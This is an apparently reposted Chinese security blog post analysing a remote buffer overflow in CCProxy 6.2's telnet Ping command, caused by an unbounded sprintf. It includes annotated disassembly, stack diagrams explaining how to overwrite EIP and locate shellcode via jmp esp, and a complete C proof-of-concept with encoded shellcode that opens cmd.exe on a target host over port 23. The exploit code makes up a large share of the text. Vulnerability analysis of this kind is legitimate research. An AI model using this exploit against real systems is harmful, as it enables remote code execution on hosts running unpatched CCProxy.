CCProxy远程缓冲区溢出分析
luoluo [luoluonet@hotmail.com]
CCProxy的缓冲区溢出攻击代码早已公布，但是我并没有能找到漏洞的相关说明，以下就对
这个简单的缓冲区溢出漏洞作简要分析。偶水平很菜，加上糟糕的文字，错误和不足处，
请各位指教，感激不尽。
测试环境：windows2003 + CCProxy 6.2
CCProxy是一款轻量级的代理服务器软件，该服务器软件提供了远程telnet功能，telnet进
去后可以执行简单的命令，其中的Ping(P)命令的参数如果提交过长的字符串的话，就会造
成缓冲区溢出，攻击者可以利用这个漏洞在远程主机上执行任意代码。
该漏洞主要是由于在处理Ping命令的结果回显数据时，使用sprintf函数格式化字符串，该
函数没有边界检查，导致溢出从而可以改变程序流程执行任意代码。
漏洞代码：
_text:00430300 sub_0_430300 proc near ; CODE XREF: sub_0_426B20+20p
_text:00430300
_text:00430300 var_468 = dword ptr -468h
_text:00430300 s = dword ptr -464h
_text:00430300 var_458 = dword ptr -458h
_text:00430300 var_454 = dword ptr -454h
_text:00430300 var_450 = dword ptr -450h
_text:00430300 var_44C = dword ptr -44Ch
_text:00430300 var_448 = byte ptr -448h
_text:00430300 var_438 = dword ptr -438h
_text:00430300 in = in_addr ptr -434h
_text:00430300 var_430 = dword ptr -430h
_text:00430300 var_42C = byte ptr -42Ch
_text:00430300 var_428 = byte ptr -428h
_text:00430300 var_418 = byte ptr -418h
_text:00430300 buf = byte ptr -414h
_text:00430300 var_404 = byte ptr -404h
_text:00430300 var_403 = byte ptr -403h
_text:00430300 var_34 = dword ptr -34h
_text:00430300 var_20 = dword ptr -20h
_text:00430300 name = dword ptr -4
_text:00430300 arg_8 = dword ptr 0Ch
_text:00430300
_text:00430300 sub esp, 430h
_text:00430306 push ebx
_text:00430307 push ebp
_text:00430308 mov ebp, ecx
_text:0043030A push esi
_text:0043030B push edi
_text:0043030C mov ecx, 100h
_text:00430311 lea ebx, [ebp+8]
_text:00430314 mov byte ptr [ebp+1008h], 0
_text:0043031B lea edi, [esp+440h+var_403]
_text:0043031F push 1 ; protocol
_text:00430321 mov byte ptr [ebx], 0
_text:00430324 mov al, byte_0_47B338
_text:00430329 mov [esp+444h+var_404], al
_text:0043032D xor eax, eax
_text:0043032F repe stosd // 缓冲区清空 400h = 1024，调试程
序时发现这里的缓冲区起始位置比分配的位置后移了一个字节，不知道是什么原因
_text:00430331 mov ecx, [esp+444h+arg_8]
_text:00430338 push 3 ; type
_text:0043033A push 2 ; af
_text:0043033C mov [ebp+0], ecx
_text:0043033F call ds:socket
_text:00430345 cmp eax, 0FFFFFFFFh
_text:00430348 mov [esp+44Ch+var_438], eax
_text:0043034C jnz short loc_0_430367
_text:0043034E push offset aSocket ; "socket()"
_text:00430353 mov ecx, ebp
_text:00430355 call sub_0_430710
_text:0043035A pop edi
_text:0043035B pop esi
_text:0043035C pop ebp
_text:0043035D pop ebx
_text:0043035E add esp, 430h
_text:00430364 retn 0Ch
_text:00430367 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
_text:00430367
_text:00430367 loc_0_430367: ; CODE XREF: sub_0_430300+4Cj
_text:00430367 mov esi, [esp+44Ch+name]
_text:0043036E push esi ; name
_text:0043036F call ds:gethostbyname
_text:00430375 test eax, eax
_text:00430377 jnz short loc_0_4303DF
_text:00430379 push esi // 第三个参数，Ping命令的参数
_text:0043037A lea edx, [esp+454h+buf]
_text:0043037E push offset aHostNotFoundS ; "Host not found: %s/r/n"
_text:00430383 push edx // 第一个参数，目标缓冲区
_text:00430384 call _sprintf // 调用sprintf函数 导致溢出
_text:00430389 lea edi, [esp+45Ch+buf]
_text:0043038D or ecx, 0FFFFFFFFh
_text:00430390 xor eax, eax
_text:00430392 add esp, 0Ch
_text:00430395 repne scasb
_text:00430397 not ecx
_text:00430399 sub edi, ecx
_text:0043039B push eax ; flags
_text:0043039C mov esi, edi
_text:0043039E mov edx, ecx
_text:004303A0 mov edi, ebx
_text:004303A2 or ecx, 0FFFFFFFFh
_text:004303A5 repne scasb
_text:004303A7 mov ecx, edx
_text:004303A9 dec edi
_text:004303AA shr ecx, 2
_text:004303AD repe movsd
_text:004303AF mov ecx, edx
_text:004303B1 and ecx, 3
_text:004303B4 repe movsb
_text:004303B6 lea edi, [esp+454h+buf]
_text:004303BA or ecx, 0FFFFFFFFh
_text:004303BD repne scasb
_text:004303BF not ecx
_text:004303C1 dec ecx
_text:004303C2 lea eax, [esp+454h+buf]
_text:004303C6 push ecx ; len
_text:004303C7 mov ecx, [ebp+0]
_text:004303CA push eax ; buf
_text:004303CB push ecx ; s
_text:004303CC call ds:send
_text:004303D2 pop edi
_text:004303D3 pop esi
_text:004303D4 pop ebp
_text:004303D5 pop ebx
_text:004303D6 add esp, 430h
_text:004303DC retn 0Ch
_text:004303DF ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
调用sprintf前当前的堆栈的情况：
+---------+---------+------------------------+------------+----------+---------+--------+
| esp | data | dst buffer of sprintf | 4 bytes | eip | data | ebp |
+---------+---------+------------------------+------------+----------+---------+--------+
|<---- 1024 bytes --->|
格式化字符串的长度是16 bytes，只要我们Ping命令的主机名为1016 bytes数据，就可以刚
好覆盖eip，从而改变程序流程，在返回时，esi里存放的地址正好落在一个存放主机名的
buffer拷贝里，可以搜寻系统里的jmp esi的地址作为返回地址来定位shellcode。
如果要用jmp esp来执行shellcode，则麻烦一些，因为在漏洞程序部分使用主机名是一份拷贝，
在前面拷贝时，源缓冲区和目标缓冲相邻，如果主机名大于1024 bytes，大于1024 bytes的部
分会被拷贝的部分填充，所以如果直接把shellcode跟在要用来覆盖eip的地址后面不可行。
但是不是没有办法，因为填充的内容就是源缓冲区的前1024 bytes，而拷贝的长度由源串的长
度决定，可以发送一个长度不小于1024+(len of shellcode)的主机名，并且shellcode填充在
主机名的最前面，这样拷贝时shellcode会被拷贝到目标缓冲区的后面，就可以利用jmp esp来
定位shellcode。
图Copy前：
+-----+------+-----------+--------------+--------------+------+--------------+------
| esp | data | shellcode | filling data | addr jmp esp | nops | filling data | data ...
+-----+------+-----------+--------------+--------------+------+--------------+------
|<-------- 1024 bytes source buffer --------->|<- start of dst buffer
图Copy后：
--+-----------+--------------+--------------+------+--------------+--------------+--------------+------+-----------+--
..| shellcode | filling data | addr jmp esp | nops | shellcode | filling data | addr jmp esp | nops | shellcode |..
--+-----------+--------------+--------------+------+--------------+--------------+--------------+------+-----------+--
|<-------- 1024 bytes source buffer --------->|<---- start of dst buffer |<-- esp when ret
|<---- hostname buff to be formatted by sprintf
附带一个在win2003上利用jmp esp的简单测试程序（非安全返回）：
//-----------------------------------------------------------------
// A test script (jmp esp) for ccproxy 6.22 on win2k3
// and it only opens a cmd window for funny. :)
// and it dosen't return safely, if the cmd window
// was closed, an exception will be thrown out
// and the application will exit.
//
// created by luoluo luoluo_at_hotmail.com
//-----------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32")
bool send_buff(char *, int);
unsigned char shellcode[] =
// decoder
"/x8B/xC4/x83/xC0/x49/x80/x30/x99"
"/x83/xC0/x29/x80/x30/x99/x83/xC0/x2E/x80/x30/x99"
// system("cmd.exe")
"/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"
"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73"
"/xC6/x45/xF7/x76/xC6/x45/xF8/x63"
"/xC6/x45/xF9/x72/xC6/x45/xFA/x74"
"/xC6/x45/xFB/x2E/xC6/x45/xFC/x64"
"/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
"/xC6/x45/xFF/x99/x8D/x45/xF5/x50"
"/xB9/x0D/x85/xE1/x77/xFF/xD1/x8B/xD0"
"/xC6/x45/xF5/x73/xC6/x45/xF6/x79"
"/xC6/x45/xF7/x73/xC6/x45/xF8/x74"
"/xC6/x45/xF9/x65/xC6/x45/xFA/x6D"
"/xC6/x45/xFB/x99/x8D/x45/xF5/x50"
"/x52/xB9/xFB/x2D/xE1/x77/xFF/xD1/x8B/xD0"
"/xC6/x45/xF5/x63/xC6/x45/xF6/x6D"
"/xC6/x45/xF7/x64/xC6/x45/xF8/x2E"
"/xC6/x45/xF9/x65/xC6/x45/xFA/x78"
"/xC6/x45/xFB/x65/xC6/x45/xFC/x99"
"/x8D/x45/xF5/x50/xFF/xD2/x83/xC4"
"/x04/x8B/xE5/x5A/x59/x5D";
unsigned char jmp_esp[] = "/x46/x7a/xe1/x77";
unsigned char padding[] = "/x90/x90/x90/x90"
"/x90/x90/x90/x90";
void main()
{
char buff[2048];
int i;
int filling_size;
char buff2send[2048];
memset(buff, 0, 2048);
strcpy(buff, "/x90/x90/x90/x90");
strcat(buff, (const char *)shellcode);
filling_size = 1024 - 4 - strlen((const char *)shellcode) - strlen((const char *)padding) - 4;
for (i = 0; i < filling_size; i ++)
strcat(buff, "/x90");
strcat(buff, (const char *)jmp_esp);
strcat(buff, (const char *)padding);
for (i = 0; i < 400; i ++)
strcat(buff, "/x90");
memset(buff2send, 0, 2048);
sprintf(buff2send, "p %s/r/n", buff);
//---------------------------------------------------
send_buff(buff2send, strlen(buff2send));
}
bool send_buff(char *buffer, int buff_size)
{
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN addr_in;
char recv_buff[4096];
int bytes_recv = 0;
int bytes_send = 0;
//---------------------------------------------------
if (WSAStartup(MAKEWORD(2, 0), &WSAData) != 0)
{
printf("WSAStartup failed./n");
return false;
}
//----------------------------------------------------------
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
printf("socket error./n");
return false;
}
//-----------------------------------------------------------
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(23);
addr_in.sin_addr.S_un.S_addr = inet_addr("192.168.1.2");
if (connect(s, (SOCKADDR *)&addr_in, sizeof(addr_in)))
{
printf("connect error./n");
return false;
}
//------------------------------------------------------
memset(recv_buff, 0, 4096);
bytes_recv = recv(s, recv_buff, 4096, 0);
if (bytes_recv == SOCKET_ERROR)
{
printf("recv error./n");
return false;
}
else if (! bytes_recv)
{
printf("connection closed./n");
return false;
}
printf("%d : %s/n", buff_size, recv_buff);
//----------------------------------------------------------------
bytes_send = send(s, buffer, buff_size, 0);
if (bytes_send == SOCKET_ERROR)
{
printf("send error./n");
return false;
}
printf("%d bytes has been sent : %S/n", buff_size, buffer);
//------------------------------------------
closesocket(s);
WSACleanup();
return true;
}
-----------------EOF-------------------
[转自luoluo's blog]CCProxy远程缓冲区溢出分析
最新推荐文章于 2024-04-07 21:20:14 发布
本文对CCProxy的远程缓冲区溢出漏洞进行分析。测试环境为windows2003 + CCProxy 6.2，该软件的Ping命令参数提交过长字符串会导致缓冲区溢出。漏洞源于处理结果回显数据时使用无边界检查的sprintf函数，还给出利用jmp esp的测试程序。
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